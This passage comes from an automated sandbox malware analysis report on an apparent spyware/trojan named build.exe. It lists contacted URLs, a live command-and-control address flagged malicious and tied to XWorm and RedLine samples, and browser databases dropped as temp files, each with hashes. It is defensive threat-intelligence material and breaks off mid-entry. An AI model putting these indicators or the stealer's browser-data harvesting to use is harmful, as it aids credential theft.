91.92.252.220:1337	0%	Avira URL Cloud	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	URL Reputation	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnect	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettings	2%	Virustotal		Browse
http://tempuri.org/Endpoint/SetEnvironment	0%	Avira URL Cloud	safe
91.92.252.220:1337	11%	Virustotal		Browse
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment.0HE	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdates	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnect	2%	Virustotal		Browse
http://tempuri.org/	2%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	Avira URL Cloud	safe
http://91.92.252.220:1337/	0%	Avira URL Cloud	safe
http://91.92.252.220:1337t-	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/SetEnvironmentResponse	1%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	Avira URL Cloud	safe
http://91.92.252.220:1337/	11%	Virustotal		Browse
http://tempuri.org/Endpoint/GetUpdates	1%	Virustotal		Browse
http://tempuri.org/Endpoint/VerifyUpdate	0%	Avira URL Cloud	safe
http://91.92.252.220:1337	0%	Avira URL Cloud	safe
http://tempuri.org/0	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment	1%	Virustotal		Browse
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	1%	Virustotal		Browse
http://tempuri.org/0	0%	Virustotal		Browse
http://tempuri.org/Endpoint/VerifyUpdate	1%	Virustotal		Browse
http://91.92.252.220:1337	11%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
91.92.252.220:1337	true	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.92.252.220:1337/	true	11%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	build.exe	false		high
https://duckduckgo.com/chrome_newtab	build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	false		high
https://duckduckgo.com/ac/?q=	build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	false		high
http://ns.adob/1.0/	build.exe, 00000000.00000002.1424274746.000000000152E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	build.exe, 00000000.00000002.1424412261.0000000003138000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettings	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	build.exe	false	URL Reputation: safe URL Reputation: safe	unknown
http://ns.adobe.0/xmp	build.exe, 00000000.00000002.1424274746.000000000152E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://api.ip.sb	build.exe, 00000000.00000002.1424412261.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	false		high
http://tempuri.org/	build.exe, 00000000.00000002.1424412261.0000000002ED4000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	false		high
https://www.ecosia.org/newtab/	build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	false		high
http://tempuri.org/Endpoint/VerifyUpdateResponse	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	build.exe, 00000000.00000002.1424412261.0000000003138000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment.0HE	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	build.exe, 00000000.00000002.1424412261.0000000002ED4000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	false		high
https://api.ipify.orgcookies//settinString.Removeg	build.exe	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/GetUpdatesResponse	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	false		high
http://91.92.252.220:1337t-	build.exe, 00000000.00000002.1424412261.0000000002ED4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.92.252.220:1337	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000000.00000002.1424412261.0000000002ED4000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000000.00000002.1424412261.0000000003138000.00000004.00000800.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/0	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	build.exe, 00000000.00000002.1425941284.000000000422A000.00000004.00000800.00020000.00000000.sdmp, tmp3203.tmp.0.dr, tmp67E1.tmp.0.dr, tmp3269.tmp.0.dr, tmp3246.tmp.0.dr, tmp3236.tmp.0.dr, tmp3257.tmp.0.dr, tmp3225.tmp.0.dr, tmp3224.tmp.0.dr, tmpFC0C.tmp.0.dr, tmpFC1D.tmp.0.dr, tmp3213.tmp.0.dr, tmp3268.tmp.0.dr	false		high
http://schemas.xmlsoap.org/soap/actor/next	build.exe, 00000000.00000002.1424412261.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
91.92.252.220	unknown	Bulgaria		34368	THEZONEBG	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430694
Start date and time:	2024-04-24 03:00:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	build.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/47@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 35 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.26.12.31, 104.26.13.31, 172.67.75.172
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:01:10	API Interceptor	53x Sleep call for process: build.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
91.92.252.220	X1.exe	Get hash	malicious	XWorm	Browse
	Output.exe	Get hash	malicious	RedLine, XWorm	Browse
	X2.exe	Get hash	malicious	XWorm	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
THEZONEBG	X1.exe	Get hash	malicious	XWorm	Browse	91.92.252.220
	Output.exe	Get hash	malicious	RedLine, XWorm	Browse	91.92.252.220
	X2.exe	Get hash	malicious	XWorm	Browse	91.92.252.220
	pdhmXuEYmc.exe	Get hash	malicious	RedLine	Browse	91.92.241.122
	Remittance slip.js	Get hash	malicious	VjW0rm	Browse	91.92.255.130
	PROFOMA INVOICE.js	Get hash	malicious	VjW0rm	Browse	91.92.255.61
	zirurEg4mX.elf	Get hash	malicious	Unknown	Browse	91.92.252.191
	qBSw7aeXEM.exe	Get hash	malicious	RedLine	Browse	91.92.250.88
	cXiIHv7tfd.exe	Get hash	malicious	Lokibot	Browse	91.92.253.228
	wQkjhw6VZ6.elf	Get hash	malicious	Gafgyt	Browse	91.92.245.31

Process:	C:\Users\user\Desktop\build.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHG1qHxLHjHKd2:vq5qxqdqolqztYqh3oPtI6mq7qoT5mwt
MD5:	1ED541494834162D093573FD2115D38F
SHA1:	6F58CB1D24DC93858E41DD41C37D0EC952A58C4D
SHA-256:	08D22F4A9E89E84D0F1FD1C103743BCB8882CA42B34009E75B0D09DEF2F35772
SHA-512:	861586BF7E93DE73D69200AE9F713100F72209F21A25743DD9AC8EB1949F8C7367A4DF0B6F786AD37189FFF3AA4D9A6780EC35EBBD462A449A1A7926390E5E7A
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Temp\tmp3203.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3213.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3224.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3225.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3236.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3246.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3257.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3268.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3269.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp67E1.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6801.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6802.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
